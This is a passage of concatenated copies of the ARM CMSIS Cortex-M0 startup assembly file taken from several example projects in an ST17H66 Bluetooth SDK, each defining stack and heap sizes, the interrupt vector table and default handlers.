DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/gpio/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/dmac/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000c00 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/adc_manual_mode/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

8,659

ST17H66_SDK_3.0.9/example/peripheral/bsp_btn/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V5.00 ; * @date 02. March 2016 ; ******************************************************************************/ ;/* ; * Copyright (c) 2009-2016 ARM Limited. All rights reserved. ; * ; * SPDX-License-Identifier: Apache-2.0 ; * ; * Licensed under the Apache License, Version 2.0 (the License); you may ; * not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an AS IS BASIS, WITHOUT ; * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; */ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - 